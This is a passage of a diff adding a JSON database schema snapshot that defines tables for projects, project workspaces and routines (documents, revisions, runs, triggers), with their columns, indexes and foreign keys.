+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_workspaces_company_project_idx": {
+          "name": "project_workspaces_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_primary_idx": {
+          "name": "project_workspaces_project_primary_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_primary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_source_type_idx": {
+          "name": "project_workspaces_project_source_type_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_company_shared_key_idx": {
+          "name": "project_workspaces_company_shared_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "shared_workspace_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_remote_ref_idx": {
+          "name": "project_workspaces_project_remote_ref_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_workspace_ref",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_workspaces_company_id_companies_id_fk": {
+          "name": "project_workspaces_company_id_companies_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "project_workspaces_project_id_projects_id_fk": {
+          "name": "project_workspaces_project_id_projects_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.projects": {
+      "name": "projects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "lead_agent_id": {
+          "name": "lead_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_date": {
+          "name": "target_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_policy": {
+          "name": "execution_workspace_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "projects_company_idx": {
+          "name": "projects_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "projects_company_id_companies_id_fk": {
+          "name": "projects_company_id_companies_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_goal_id_goals_id_fk": {
+          "name": "projects_goal_id_goals_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_lead_agent_id_agents_id_fk": {
+          "name": "projects_lead_agent_id_agents_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lead_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_documents": {
+      "name": "routine_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_documents_company_routine_key_uq": {
+          "name": "routine_documents_company_routine_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_document_uq": {
+          "name": "routine_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_company_routine_updated_idx": {
+          "name": "routine_documents_company_routine_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_documents_company_id_companies_id_fk": {
+          "name": "routine_documents_company_id_companies_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routine_documents_routine_id_routines_id_fk": {
+          "name": "routine_documents_routine_id_routines_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_documents_document_id_documents_id_fk": {
+          "name": "routine_documents_document_id_documents_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_revisions": {
+      "name": "routine_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "restored_from_revision_id": {
+          "name": "restored_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_revisions_routine_revision_uq": {
+          "name": "routine_revisions_routine_revision_uq",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_routine_created_idx": {
+          "name": "routine_revisions_company_routine_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_responsible_user_idx": {
+          "name": "routine_revisions_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_revisions_company_id_companies_id_fk": {
+          "name": "routine_revisions_company_id_companies_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_routine_id_routines_id_fk": {
+          "name": "routine_revisions_routine_id_routines_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_restored_from_revision_id_routine_revisions_id_fk": {
+          "name": "routine_revisions_restored_from_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "restored_from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "routine_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "routine_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_runs": {
+      "name": "routine_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_id": {
+          "name": "trigger_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'received'"
+        },
+        "triggered_at": {
+          "name": "triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "routine_revision_id": {
+          "name": "routine_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_payload": {
+          "name": "trigger_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "dispatch_fingerprint": {
+          "name": "dispatch_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_issue_id": {
+          "name": "linked_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "coalesced_into_run_id": {
+          "name": "coalesced_into_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_runs_company_routine_idx": {
+          "name": "routine_runs_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_revision_idx": {
+          "name": "routine_runs_revision_idx",
+          "columns": [
+            {
+              "expression": "routine_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_company_responsible_user_idx": {
+          "name": "routine_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idx": {
+          "name": "routine_runs_trigger_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_dispatch_fingerprint_idx": {
+          "name": "routine_runs_dispatch_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "dispatch_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_linked_issue_idx": {
+          "name": "routine_runs_linked_issue_idx",
+          "columns": [
+            {
+              "expression": "linked_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idempotency_idx": {
+          "name": "routine_runs_trigger_idempotency_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_runs_company_id_companies_id_fk": {
+          "name": "routine_runs_company_id_companies_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_id_routines_id_fk": {
+          "name": "routine_runs_routine_id_routines_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_trigger_id_routine_triggers_id_fk": {
+          "name": "routine_runs_trigger_id_routine_triggers_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_triggers",
+          "columnsFrom": [
+            "trigger_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_revision_id_routine_revisions_id_fk": {
+          "name": "routine_runs_routine_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "routine_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_linked_issue_id_issues_id_fk": {
+          "name": "routine_runs_linked_issue_id_issues_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "linked_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_triggers": {
+      "name": "routine_triggers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "cron_expression": {
+          "name": "cron_expression",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timezone": {
+          "name": "timezone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_fired_at": {
+          "name": "last_fired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "public_id": {
+          "name": "public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signing_mode": {
+          "name": "signing_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "replay_window_sec": {
+          "name": "replay_window_sec",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_result": {
+          "name": "last_result",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_triggers_company_routine_idx": {
+          "name": "routine_triggers_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_company_kind_idx": {
+          "name": "routine_triggers_company_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_next_run_idx": {
+          "name": "routine_triggers_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_idx": {
+          "name": "routine_triggers_public_id_idx",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_uq": {
+          "name": "routine_triggers_public_id_uq",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_triggers_company_id_companies_id_fk": {
+          "name": "routine_triggers_company_id_companies_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_routine_id_routines_id_fk": {
+          "name": "routine_triggers_routine_id_routines_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_secret_id_company_secrets_id_fk": {
+          "name": "routine_triggers_secret_id_company_secrets_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_created_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_updated_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routines": {
+      "name": "routines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
